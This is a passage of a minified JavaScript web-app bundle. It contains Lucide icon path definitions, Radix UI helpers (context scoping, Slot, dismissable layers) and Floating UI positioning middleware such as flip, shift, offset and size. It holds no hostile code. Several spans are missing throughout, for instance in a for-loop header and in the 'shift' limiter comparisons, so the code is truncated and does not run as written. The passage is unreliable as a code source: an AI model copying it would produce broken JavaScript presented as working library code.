1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4",key:"tonef"}],["path",{d:"M9 18c-4.51 2-5-2-7-2",key:"9comsn"}]],eB=Me("github",J6);const tB=[["line",{x1:"4",x2:"20",y1:"9",y2:"9",key:"4lhtct"}],["line",{x1:"4",x2:"20",y1:"15",y2:"15",key:"vyu0kd"}],["line",{x1:"10",x2:"8",y1:"3",y2:"21",key:"1ggp8o"}],["line",{x1:"16",x2:"14",y1:"3",y2:"21",key:"weycgp"}]],nB=Me("hash",tB);const rB=[["polyline",{points:"22 12 16 12 14 15 10 15 8 12 2 12",key:"o97t9d"}],["path",{d:"M5.45 5.11 2 12v6a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-6l-3.45-6.89A2 2 0 0 0 16.76 4H7.24a2 2 0 0 0-1.79 1.11z",key:"oot6mr"}]],OM=Me("inbox",rB);const aB=[["path",{d:"m5 8 6 6",key:"1wu5hv"}],["path",{d:"m4 14 6-6 2-3",key:"1k1g8d"}],["path",{d:"M2 5h12",key:"or177f"}],["path",{d:"M7 2h1",key:"1t2jsx"}],["path",{d:"m22 22-5-10-5 10",key:"don7ne"}],["path",{d:"M14 18h6",key:"1m8k6r"}]],iB=Me("languages",aB);const oB=[["path",{d:"M3 5h.01",key:"18ugdj"}],["path",{d:"M3 12h.01",key:"nlz23k"}],["path",{d:"M3 19h.01",key:"noohij"}],["path",{d:"M8 5h13",key:"1pao27"}],["path",{d:"M8 12h13",key:"1za7za"}],["path",{d:"M8 19h13",key:"m83p4d"}]],lB=Me("list",oB);const sB=[["path",{d:"M21 12a9 9 0 1 1-6.219-8.56",key:"13zald"}]],c0=Me("loader-circle",sB);const cB=[["rect",{width:"18",height:"11",x:"3",y:"11",rx:"2",ry:"2",key:"1w4ew1"}],["path",{d:"M7 11V7a5 5 0 0 1 10 0v4",key:"fwvmzm"}]],$A=Me("lock",cB);const uB=[["path",{d:"M20.985 12.486a9 9 0 1 1-9.473-9.472c.405-.022.617.46.402.803a6 6 0 0 0 8.268 8.268c.344-.215.825-.004.803.401",key:"kfwtm"}]],fB=Me("moon",uB);const dB=[["rect",{x:"16",y:"16",width:"6",height:"6",rx:"1",key:"4q2zg0"}],["rect",{x:"2",y:"16",width:"6",height:"6",rx:"1",key:"8cvhb9"}],["rect",{x:"9",y:"2",width:"6",height:"6",rx:"1",key:"1egb70"}],["path",{d:"M5 16v-3a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v3",key:"1jsf9p"}],["path",{d:"M12 12V8",key:"2874zd"}]],_b=Me("network",dB);const hB=[["path",{d:"M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z",key:"10ikf1"}]],pB=Me("play",hB);const mB=[["path",{d:"M19.07 4.93A10 10 0 0 0 6.99 3.34",key:"z3du51"}],["path",{d:"M4 6h.01",key:"oypzma"}],["path",{d:"M2.29 9.62A10 10 0 1 0 21.31 8.35",key:"qzzz0"}],["path",{d:"M16.24 7.76A6 6 0 1 0 8.23 16.67",key:"1yjesh"}],["path",{d:"M12 18h.01",key:"mhygvu"}],["path",{d:"M17.99 11.66A6 6 0 0 1 15.77 16.67",key:"1u2y91"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["path",{d:"m13.41 10.59 5.66-5.66",key:"mhq4k0"}]],vB=Me("radar",mB);const gB=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],yB=Me("refresh-cw",gB);const bB=[["rect",{width:"20",height:"8",x:"2",y:"2",rx:"2",ry:"2",key:"ngkwjq"}],["rect",{width:"20",height:"8",x:"2",y:"14",rx:"2",ry:"2",key:"iecqi9"}],["line",{x1:"6",x2:"6.01",y1:"6",y2:"6",key:"16zg32"}],["line",{x1:"6",x2:"6.01",y1:"18",y2:"18",key:"nzw8ys"}]],Tb=Me("server",bB);const xB=[["path",{d:"M14 17H5",key:"gfn3mx"}],["path",{d:"M19 7h-9",key:"6i9tg"}],["circle",{cx:"17",cy:"17",r:"3",key:"18b49y"}],["circle",{cx:"7",cy:"7",r:"3",key:"dfmy0x"}]],wB=Me("settings-2",xB);const SB=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}]],OB=Me("shield",SB);const EB=[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}]],AB=Me("square",EB);const CB=[["circle",{cx:"12",cy:"12",r:"4",key:"4exip2"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M12 20v2",key:"1lh1kg"}],["path",{d:"m4.93 4.93 1.41 1.41",key:"149t6j"}],["path",{d:"m17.66 17.66 1.41 1.41",key:"ptbguv"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"M20 12h2",key:"1q8mjw"}],["path",{d:"m6.34 17.66-1.41 1.41",key:"1m8zz5"}],["path",{d:"m19.07 4.93-1.41 1.41",key:"1shlcs"}]],_B=Me("sun",CB);const TB=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"6",key:"1vlfrh"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}]],BA=Me("target",TB);const NB=[["path",{d:"M12 19h8",key:"baeox8"}],["path",{d:"m4 17 6-6-6-6",key:"1yngyt"}]],UA=Me("terminal",NB);const MB=[["path",{d:"M10 11v6",key:"nco0om"}],["path",{d:"M14 11v6",key:"outv1u"}],["path",{d:"M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6",key:"miytrc"}],["path",{d:"M3 6h18",key:"d0wm0j"}],["path",{d:"M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2",key:"e791ji"}]],jB=Me("trash-2",MB);const PB=[["path",{d:"m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3",key:"wmoenq"}],["path",{d:"M12 9v4",key:"juzpu7"}],["path",{d:"M12 17h.01",key:"p32p05"}]],Nb=Me("triangle-alert",PB);const RB=[["path",{d:"M19 21v-2a4 4 0 0 0-4-4H9a4 4 0 0 0-4 4v2",key:"975kel"}],["circle",{cx:"12",cy:"7",r:"4",key:"17ys0d"}]],DB=Me("user",RB);const kB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:"M2 8.82a15 15 0 0 1 4.177-2.643",key:"1grhjp"}],["path",{d:"M22 8.82a15 15 0 0 0-11.288-3.764",key:"z3jwby"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]],LB=Me("wifi-off",kB);const IB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M2 8.82a15 15 0 0 1 20 0",key:"dnpr2z"}],["path",{d:"M5 12.859a10 10 0 0 1 14 0",key:"1x1e6c"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}]],EM=Me("wifi",IB);const zB=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],$B=Me("zap",zB);function ue(e,t,{checkForDefaultPrevented:n=!0}={}){return function(i){if(e?.(i),n===!1||!i.defaultPrevented)return t?.(i)}}function HA(e,t){if(typeof e=="function")return e(t);e!=null&&(e.current=t)}function ja(...e){return t=>{let n=!1;const r=e.map(i=>{const l=HA(i,t);return!n&&typeof l=="function"&&(n=!0),l});if(n)return()=>{for(let i=0;i{const{children:c,...u}=l,f=v.useMemo(()=>u,Object.values(u));return E.jsx(n.Provider,{value:f,children:c})};r.displayName=e+"Provider";function i(l){const c=v.useContext(n);if(c)return c;if(t!==void 0)return t;throw new Error(`\`${l}\` must be used within \`${e}\``)}return[r,i]}function Fn(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c),f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,UB(i,...t)]}function UB(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var wo=sM();const HB=Vr(wo);function qB(e){const t=FB(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(KB);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function FB(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=GB(i),u=YB(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var VB=Symbol("radix.slottable");function KB(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===VB}function YB(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function GB(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var WB=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],Ce=WB.reduce((e,t)=>{const n=qB(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{});function AM(e,t){e&&wo.flushSync(()=>e.dispatchEvent(t))}function en(e){const t=v.useRef(e);return v.useEffect(()=>{t.current=e}),v.useMemo(()=>(...n)=>t.current?.(...n),[])}function XB(e,t=globalThis?.document){const n=en(e);v.useEffect(()=>{const r=i=>{i.key==="Escape"&&n(i)};return t.addEventListener("keydown",r,{capture:!0}),()=>t.removeEventListener("keydown",r,{capture:!0})},[n,t])}var ZB="DismissableLayer",u0="dismissableLayer.update",QB="dismissableLayer.pointerDownOutside",JB="dismissableLayer.focusOutside",qA,CM=v.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Hc=v.forwardRef((e,t)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:i,onFocusOutside:l,onInteractOutside:c,onDismiss:u,...f}=e,h=v.useContext(CM),[p,m]=v.useState(null),y=p?.ownerDocument??globalThis?.document,[,x]=v.useState({}),S=De(t,R=>m(R)),w=Array.from(h.layers),[O]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),A=w.indexOf(O),_=p?w.indexOf(p):-1,T=h.layersWithOutsidePointerEventsDisabled.size>0,j=_>=A,M=n8(R=>{const I=R.target,B=[...h.branches].some(q=>q.contains(I));!j||B||(i?.(R),c?.(R),R.defaultPrevented||u?.())},y),P=r8(R=>{const I=R.target;[...h.branches].some(q=>q.contains(I))||(l?.(R),c?.(R),R.defaultPrevented||u?.())},y);return XB(R=>{_===h.layers.size-1&&(r?.(R),!R.defaultPrevented&&u&&(R.preventDefault(),u()))},y),v.useEffect(()=>{if(p)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(qA=y.body.style.pointerEvents,y.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(p)),h.layers.add(p),FA(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(y.body.style.pointerEvents=qA)}},[p,y,n,h]),v.useEffect(()=>()=>{p&&(h.layers.delete(p),h.layersWithOutsidePointerEventsDisabled.delete(p),FA())},[p,h]),v.useEffect(()=>{const R=()=>x({});return document.addEventListener(u0,R),()=>document.removeEventListener(u0,R)},[]),E.jsx(Ce.div,{...f,ref:S,style:{pointerEvents:T?j?"auto":"none":void 0,...e.style},onFocusCapture:ue(e.onFocusCapture,P.onFocusCapture),onBlurCapture:ue(e.onBlurCapture,P.onBlurCapture),onPointerDownCapture:ue(e.onPointerDownCapture,M.onPointerDownCapture)})});Hc.displayName=ZB;var e8="DismissableLayerBranch",t8=v.forwardRef((e,t)=>{const n=v.useContext(CM),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return n.branches.add(l),()=>{n.branches.delete(l)}},[n.branches]),E.jsx(Ce.div,{...e,ref:i})});t8.displayName=e8;function n8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1),i=v.useRef(()=>{});return v.useEffect(()=>{const l=u=>{if(u.target&&!r.current){let f=function(){_M(QB,n,h,{discrete:!0})};const h={originalEvent:u};u.pointerType==="touch"?(t.removeEventListener("click",i.current),i.current=f,t.addEventListener("click",i.current,{once:!0})):f()}else t.removeEventListener("click",i.current);r.current=!1},c=window.setTimeout(()=>{t.addEventListener("pointerdown",l)},0);return()=>{window.clearTimeout(c),t.removeEventListener("pointerdown",l),t.removeEventListener("click",i.current)}},[t,n]),{onPointerDownCapture:()=>r.current=!0}}function r8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1);return v.useEffect(()=>{const i=l=>{l.target&&!r.current&&_M(JB,n,{originalEvent:l},{discrete:!1})};return t.addEventListener("focusin",i),()=>t.removeEventListener("focusin",i)},[t,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function FA(){const e=new CustomEvent(u0);document.dispatchEvent(e)}function _M(e,t,n,{discrete:r}){const i=n.originalEvent.target,l=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&i.addEventListener(e,t,{once:!0}),r?AM(i,l):i.dispatchEvent(l)}var Ft=globalThis?.document?v.useLayoutEffect:()=>{},a8=Eh[" useId ".trim().toString()]||(()=>{}),i8=0;function sr(e){const[t,n]=v.useState(a8());return Ft(()=>{n(r=>r??String(i8++))},[e]),t?`radix-${t}`:""}const o8=["top","right","bottom","left"],xi=Math.min,zn=Math.max,wd=Math.round,If=Math.floor,zr=e=>({x:e,y:e}),l8={left:"right",right:"left",bottom:"top",top:"bottom"},s8={start:"end",end:"start"};function f0(e,t,n){return zn(e,xi(t,n))}function wa(e,t){return typeof e=="function"?e(t):e}function Sa(e){return e.split("-")[0]}function Hl(e){return e.split("-")[1]}function Mb(e){return e==="x"?"y":"x"}function jb(e){return e==="y"?"height":"width"}const c8=new Set(["top","bottom"]);function Lr(e){return c8.has(Sa(e))?"y":"x"}function Pb(e){return Mb(Lr(e))}function u8(e,t,n){n===void 0&&(n=!1);const r=Hl(e),i=Pb(e),l=jb(i);let c=i==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return t.reference[l]>t.floating[l]&&(c=Sd(c)),[c,Sd(c)]}function f8(e){const t=Sd(e);return[d0(e),t,d0(t)]}function d0(e){return e.replace(/start|end/g,t=>s8[t])}const VA=["left","right"],KA=["right","left"],d8=["top","bottom"],h8=["bottom","top"];function p8(e,t,n){switch(e){case"top":case"bottom":return n?t?KA:VA:t?VA:KA;case"left":case"right":return t?d8:h8;default:return[]}}function m8(e,t,n,r){const i=Hl(e);let l=p8(Sa(e),n==="start",r);return i&&(l=l.map(c=>c+"-"+i),t&&(l=l.concat(l.map(d0)))),l}function Sd(e){return e.replace(/left|right|bottom|top/g,t=>l8[t])}function v8(e){return{top:0,right:0,bottom:0,left:0,...e}}function TM(e){return typeof e!="number"?v8(e):{top:e,right:e,bottom:e,left:e}}function Od(e){const{x:t,y:n,width:r,height:i}=e;return{width:r,height:i,top:n,left:t,right:t+r,bottom:n+i,x:t,y:n}}function YA(e,t,n){let{reference:r,floating:i}=e;const l=Lr(t),c=Pb(t),u=jb(c),f=Sa(t),h=l==="y",p=r.x+r.width/2-i.width/2,m=r.y+r.height/2-i.height/2,y=r[u]/2-i[u]/2;let x;switch(f){case"top":x={x:p,y:r.y-i.height};break;case"bottom":x={x:p,y:r.y+r.height};break;case"right":x={x:r.x+r.width,y:m};break;case"left":x={x:r.x-i.width,y:m};break;default:x={x:r.x,y:r.y}}switch(Hl(t)){case"start":x[c]-=y*(n&&h?-1:1);break;case"end":x[c]+=y*(n&&h?-1:1);break}return x}const g8=async(e,t,n)=>{const{placement:r="bottom",strategy:i="absolute",middleware:l=[],platform:c}=n,u=l.filter(Boolean),f=await(c.isRTL==null?void 0:c.isRTL(t));let h=await c.getElementRects({reference:e,floating:t,strategy:i}),{x:p,y:m}=YA(h,r,f),y=r,x={},S=0;for(let w=0;w({name:"arrow",options:e,async fn(t){const{x:n,y:r,placement:i,rects:l,platform:c,elements:u,middlewareData:f}=t,{element:h,padding:p=0}=wa(e,t)||{};if(h==null)return{};const m=TM(p),y={x:n,y:r},x=Pb(i),S=jb(x),w=await c.getDimensions(h),O=x==="y",A=O?"top":"left",_=O?"bottom":"right",T=O?"clientHeight":"clientWidth",j=l.reference[S]+l.reference[x]-y[x]-l.floating[S],M=y[x]-l.reference[x],P=await(c.getOffsetParent==null?void 0:c.getOffsetParent(h));let R=P?P[T]:0;(!R||!await(c.isElement==null?void 0:c.isElement(P)))&&(R=u.floating[T]||l.floating[S]);const I=j/2-M/2,B=R/2-w[S]/2-1,q=xi(m[A],B),U=xi(m[_],B),V=q,oe=R-w[S]-U,le=R/2-w[S]/2+I,ce=f0(V,le,oe),L=!f.arrow&&Hl(i)!=null&&le!==ce&&l.reference[S]/2-(lele<=0)){var U,V;const le=(((U=l.flip)==null?void 0:U.index)||0)+1,ce=R[le];if(ce&&(!(m==="alignment"?_!==Lr(ce):!1)||q.every($=>Lr($.placement)===_?$.overflows[0]>0:!0)))return{data:{index:le,overflows:q},reset:{placement:ce}};let L=(V=q.filter(F=>F.overflows[0]<=0).sort((F,$)=>F.overflows[1]-$.overflows[1])[0])==null?void 0:V.placement;if(!L)switch(x){case"bestFit":{var oe;const F=(oe=q.filter($=>{if(P){const Z=Lr($.placement);return Z===_||Z==="y"}return!0}).map($=>[$.placement,$.overflows.filter(Z=>Z>0).reduce((Z,de)=>Z+de,0)]).sort(($,Z)=>$[1]-Z[1])[0])==null?void 0:oe[0];F&&(L=F);break}case"initialPlacement":L=u;break}if(i!==L)return{reset:{placement:L}}}return{}}}};function GA(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function WA(e){return o8.some(t=>e[t]>=0)}const x8=function(e){return e===void 0&&(e={}),{name:"hide",options:e,async fn(t){const{rects:n}=t,{strategy:r="referenceHidden",...i}=wa(e,t);switch(r){case"referenceHidden":{const l=await wc(t,{...i,elementContext:"reference"}),c=GA(l,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:WA(c)}}}case"escaped":{const l=await wc(t,{...i,altBoundary:!0}),c=GA(l,n.floating);return{data:{escapedOffsets:c,escaped:WA(c)}}}default:return{}}}}},NM=new Set(["left","top"]);async function w8(e,t){const{placement:n,platform:r,elements:i}=e,l=await(r.isRTL==null?void 0:r.isRTL(i.floating)),c=Sa(n),u=Hl(n),f=Lr(n)==="y",h=NM.has(c)?-1:1,p=l&&f?-1:1,m=wa(t,e);let{mainAxis:y,crossAxis:x,alignmentAxis:S}=typeof m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return u&&typeof S=="number"&&(x=u==="end"?S*-1:S),f?{x:x*p,y:y*h}:{x:y*h,y:x*p}}const S8=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,r;const{x:i,y:l,placement:c,middlewareData:u}=t,f=await w8(t,e);return c===((n=u.offset)==null?void 0:n.placement)&&(r=u.arrow)!=null&&r.alignmentOffset?{}:{x:i+f.x,y:l+f.y,data:{...f,placement:c}}}}},O8=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:i}=t,{mainAxis:l=!0,crossAxis:c=!1,limiter:u={fn:O=>{let{x:A,y:_}=O;return{x:A,y:_}}},...f}=wa(e,t),h={x:n,y:r},p=await wc(t,f),m=Lr(Sa(i)),y=Mb(m);let x=h[y],S=h[m];if(l){const O=y==="y"?"top":"left",A=y==="y"?"bottom":"right",_=x+p[O],T=x-p[A];x=f0(_,x,T)}if(c){const O=m==="y"?"top":"left",A=m==="y"?"bottom":"right",_=S+p[O],T=S-p[A];S=f0(_,S,T)}const w=u.fn({...t,[y]:x,[m]:S});return{...w,data:{x:w.x-n,y:w.y-r,enabled:{[y]:l,[m]:c}}}}}},E8=function(e){return e===void 0&&(e={}),{options:e,fn(t){const{x:n,y:r,placement:i,rects:l,middlewareData:c}=t,{offset:u=0,mainAxis:f=!0,crossAxis:h=!0}=wa(e,t),p={x:n,y:r},m=Lr(i),y=Mb(m);let x=p[y],S=p[m];const w=wa(u,t),O=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(f){const T=y==="y"?"height":"width",j=l.reference[y]-l.floating[T]+O.mainAxis,M=l.reference[y]+l.reference[T]-O.mainAxis;xM&&(x=M)}if(h){var A,_;const T=y==="y"?"width":"height",j=NM.has(Sa(i)),M=l.reference[m]-l.floating[T]+(j&&((A=c.offset)==null?void 0:A[m])||0)+(j?0:O.crossAxis),P=l.reference[m]+l.reference[T]+(j?0:((_=c.offset)==null?void 0:_[m])||0)-(j?O.crossAxis:0);SP&&(S=P)}return{[y]:x,[m]:S}}}},A8=function(e){return e===void 0&&(e={}),{name:"size",options:e,async fn(t){var n,r;const{placement:i,rects:l,platform:c,elements:u}=t,{apply:f=()=>{},...h}=wa(e,t),p=await wc(t,h),m=Sa(i),y=Hl(i),x=Lr(i)==="y",{width:S,height:w}=l.floating;let O,A;m==="top"||m==="bottom"?(O=m,A=y===(await(c.isRTL==null?void 0:c.isRTL(u.floating))?"start":"end")?"left":"right"):(A=m,O=y==="end"?"top":"bottom");const _=w-p.top-p.bottom,T=S-p.left-p.right,j=xi(w-p[O],_),M=xi(S-p[A],T),P=!t.middlewareData.shift;let R=j,I=M;if((n=t.middlewareData.shift)!=null&&n.enabled.x&&(I=T),(r=t.middlewareData.shift)!=null&&r.enabled.y&&(R=_),P&&!y){const q=zn(p.left,0),U=zn(p.right,0),V=zn(p.top,0),oe=zn(p.bottom,0);x?I=S-2*(q!==0||U!==0?q+U:zn(p.left,p.right)):R=w-2*(V!==0||oe!==0?V+oe:zn(p.top,p.bottom))}await f({...t,availableWidth:I,availableHeight:R});const B=await c.getDimensions(u.floating);return S!==B.width||w!==B.height?{reset:{rects:!0}}:{}}}};function _h(){return typeof window<"u"}function ql(e){return MM(e)?(e.nodeName||"").toLowerCase():"#document"}function Un(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Kr(e){var t;return(t=(MM(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function MM(e){return _h()?e instanceof Node||e instanceof Un(e).Node:!1}function Or(e){return _h()?e instanceof Element||e instanceof Un(e).Element:!1}function Br(e){return _h()?e instanceof HTMLElement||e instanceof Un(e).HTMLElement:!1}function XA(e){return!_h()||typeof ShadowRoot>"u"?!1:e instanceof ShadowRoot||e instanceof Un(e).ShadowRoot}const C8=new Set(["inline","contents"]);function qc(e){const{overflow:t,overflowX:n,overflowY:r,display:i}=Er(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!C8.has(i)}const _8=new Set(["table","td","th"]);function T8(e){return _8.has(ql(e))}const N8=[":popover-open",":modal"];function Th(e){return N8.some(t=>{try{return e.matches(t)}catch{return!1}})}const M8=["transform","translate","scale","rotate","perspective"],j8=["transform","translate","scale","rotate","perspective","filter"],P8=["paint","layout","strict","content"];function Rb(e){const t=Db(),n=Or(e)?Er(e):e;return M8.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!t&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!t&&(n.filter?n.filter!=="none":!1)||j8.some(r=>(n.willChange||"").includes(r))||P8.some(r=>(n.contain||"").includes(r))}function R8(e){let t=wi(e);for(;Br(t)&&!jl(t);){if(Rb(t))return t;if(Th(t))return null;t=wi(t)}return null}function Db(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const D8=new Set(["html","body","#document"]);function jl(e){return D8.has(ql(e))}function Er(e){return Un(e).getComputedStyle(e)}function Nh(e){return Or(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function wi(e){if(ql(e)==="html")return e;const t=e.assignedSlot||e.parentNode||XA(e)&&e.host||Kr(e);return XA(t)?t.host:t}function jM(e){const t=wi(e);return jl(t)?e.ownerDocument?e.ownerDocument.body:e.body:Br(t)&&qc(t)?t:jM(t)}function Sc(e,t,n){var r;t===void 0&&(t=[]),n===void 0&&(n=!0);const i=jM(e),l=i===((r=e.ownerDocument)==null?void 0:r.body),c=Un(i);if(l){const u=h0(c);return t.concat(c,c.visualViewport||[],qc(i)?i:[],u&&n?Sc(u):[])}return t.concat(i,Sc(i,[],n))}function h0(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}function PM(e){const t=Er(e);let n=parseFloat(t.width)||0,r=parseFloat(t.height)||0;const i=Br(e),l=i?e.offsetWidth:n,c=i?e.offsetHeight:r,u=wd(n)!==l||wd(r)!==c;return u&&(n=l,r=c),{width:n,height:r,$:u}}function kb(e){return Or(e)?e:e.contextElement}function Cl(e){const t=kb(e);if(!Br(t))return zr(1);const n=t.getBoundingClientRect(),{width:r,height:i,$:l}=PM(t);let c=(l?wd(n.width):n.width)/r,u=(l?wd(n.height):n.height)/i;return(!c||!Number.isFinite(c))&&(c=1),(!u||!Number.isFinite(u))&&(u=1),{x:c,y:u}}const k8=zr(0);function RM(e){const t=Un(e);return!Db()||!t.visualViewport?k8:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function L8(e,t,n){return t===void 0&&(t=!1),!n||t&&n!==Un(e)?!1:t}function io(e,t,n,r){t===void 0&&(t=!1),n===void 0&&(n=!1);const i=e.getBoundingClientRect(),l=kb(e);let c=zr(1);t&&(r?Or(r)&&(c=Cl(r)):c=Cl(e));const u=L8(l,n,r)?RM(l):zr(0);let f=(i.left+u.x)/c.x,h=(i.top+u.y)/c.y,p=i.width/c.x,m=i.height/c.y;if(l){const y=Un(l),x=r&&Or(r)?Un(r):r;let S=y,w=h0(S);for(;w&&r&&x!==S;){const O=Cl(w),A=w.getBoundingClientRect(),_=Er(w),T=A.left+(w.clientLeft+parseFloat(_.paddingLeft))*O.x,j=A.top+(w.clientTop+parseFloat(_.paddingTop))*O.y;f*=O.x,h*=O.y,p*=O.x,m*=O.y,f+=T,h+=j,S=Un(w),w=h0(S)}}return Od({width:p,height:m,x:f,y:h})}function Mh(e,t){const n=Nh(e).scrollLeft;return t?t.left+n:io(Kr(e)).left+n}function DM(e,t){const n=e.getBoundingClientRect(),r=n.left+t.scrollLeft-Mh(e,n),i=n.top+t.scrollTop;return{x:r,y:i}}function I8(e){let{elements:t,rect:n,offsetParent:r,strategy:i}=e;const l=i==="fixed",c=Kr(r),u=t?Th(t.floating):!1;if(r===c||u&&l)return n;let f={scrollLeft:0,scrollTop:0},h=zr(1);const p=zr(0),m=Br(r);if((m||!m&&!l)&&((ql(r)!=="body"||qc(c))&&(f=Nh(r)),Br(r))){const x=io(r);h=Cl(r),p.x=x.x+r.clientLeft,p.y=x.y+r.clientTop}const 